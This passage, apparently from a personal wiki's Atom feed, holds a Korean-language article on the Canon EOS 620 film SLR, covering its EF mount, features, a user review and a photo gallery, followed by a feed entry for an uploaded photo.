캐논 EOS 620은 1987년 5월에 출시된 35mm single lens reflex 필름 카메라이다. 캐논의 EOS 시스템 초기에 등장한 모델로, 1987년 3월에 출시된 [[Canon EOS 650]]의 상위 기종에 해당한다. EOS 650이 캐논 최초의 EOS 카메라였다면, EOS 620은 여기에 여러 고급 기능을 추가한 모델이다.&lt;br /&gt;
&lt;br /&gt;
EOS 620은 Canon EF 마운트를 사용한다. EF 마운트는 카메라와 렌즈가 전기 신호로 통신하는 구조이며, 초점 구동과 조리개 제어가 렌즈 내부의 모터를 통해 이루어진다. 따라서 기존 Canon FD 마운트 렌즈는 EOS 바디와 호환되지 않는다.&lt;br /&gt;
&lt;br /&gt;
EOS 620은 EOS 650보다 더 고급 기능을 제공하였다. 대표적으로 LCD 백라이트, 다중 노출, 자동 브라케팅 기능을 지원하며, 셔터 속도는 최대 1/4000초까지 지원한다. 또한 플래시 동조 속도도 1/250초로 향상되었다. 이러한 점에서 EOS 620은 초기 EOS 필름 바디 중에서도 비교적 고성능 모델로 평가할 수 있다.&lt;br /&gt;
&lt;br /&gt;
== 사용 후기 ==&lt;br /&gt;
캐논 EOS 620은 초기 EOS 필름 카메라 중에서도 실사용 가치가 높은 모델이다. 특히 EF 마운트를 사용하기 때문에 현대 Canon EF 렌즈들을 사용할 수 있다는 점이 큰 장점이다. 수동 필름 카메라와 달리 자동초점과 자동노출을 지원하기 때문에, 필름 카메라 입문자도 비교적 편하게 사용할 수 있다.&lt;br /&gt;
&lt;br /&gt;
또한 최대 1/4000초 셔터 속도와 1/250초 플래시 동조 속도는 동시대 보급형 필름 SLR보다 확실히 좋은 사양이다. LCD 상태가 좋은 개체라면 실사용 만족도가 높으며, Canon EF 렌즈를 이미 가지고 있는 사용자에게는 매우 가성비 좋은 필름 바디가 될 수 있다.&lt;br /&gt;
&lt;br /&gt;
다만 1980년대 전자식 필름 카메라이기 때문에, 완전 기계식 카메라처럼 장기적인 수리 안정성을 기대하기는 어렵다. LCD 누액, 전자 부품 고장, 배터리 접점 문제 등을 확인하는 것이 중요하다. 그럼에도 정상 작동하는 개체라면 저렴한 가격으로 EOS 시스템의 필름 감성을 즐길 수 있는 좋은 카메라이다.&lt;br /&gt;
&lt;br /&gt;
== 주요 특징 ==&lt;br /&gt;
* Canon EF 마운트 사용&lt;br /&gt;
* TTL phase-detection autofocus 지원&lt;br /&gt;
* 최대 셔터 속도 1/4000초&lt;br /&gt;
* 플래시 동조 속도 1/250초&lt;br /&gt;
* LCD 백라이트 지원&lt;br /&gt;
* 다중 노출 지원&lt;br /&gt;
* 자동 브라케팅 지원&lt;br /&gt;
* Program AE, 조리개 우선, 셔터 우선, 수동 노출 지원&lt;br /&gt;
* 35mm 필름 사용&lt;br /&gt;
&lt;br /&gt;
== 갤러리 ==&lt;br /&gt;
&amp;lt;gallery caption=&amp;quot;캐논 EOS 620으로 찍은 사진들&amp;quot; mode=slideshow&amp;gt;&lt;br /&gt;
사진 26 04 26 EOS 620 켄트미아 100.png&lt;br /&gt;
사진 26 04 26 2 캐논 EOS 620 컨트미어 100.png&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== 관련 모델 ==&lt;br /&gt;
# [[Canon EOS 650]]&lt;br /&gt;
# [[Canon EF 35-70mm f3.5-4.5]]&lt;/div&gt;</summary>
		<author><name>Ahn9807</name></author>
	</entry>
	<entry>
		<id>http://junhoahn.kr/noriwiki/index.php?title=%ED%8C%8C%EC%9D%BC:%EC%82%AC%EC%A7%84_26_04_26_2_%EC%BA%90%EB%85%BC_EOS_620_%EC%BB%A8%ED%8A%B8%EB%AF%B8%EC%96%B4_100.png&amp;diff=7106</id>
		<title>파일:사진 26 04 26 2 캐논 EOS 620 컨트미어 100.png</title>
		<link rel="alternate" type="text/html" href="http://junhoahn.kr/noriwiki/index.php?title=%ED%8C%8C%EC%9D%BC:%EC%82%AC%EC%A7%84_26_04_26_2_%EC%BA%90%EB%85%BC_EOS_620_%EC%BB%A8%ED%8A%B8%EB%AF%B8%EC%96%B4_100.png&amp;diff=7106"/>
		<updated>2026-04-27T06:08:04Z</updated>

		<summary type="html">&lt;p&gt;Ahn9807: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;사진 26_04_26_2 캐논 EOS 620 컨트미어 100&lt;/div&gt;</summary>
		<author><name>Ahn9807</name></author>
	</entry>
</feed>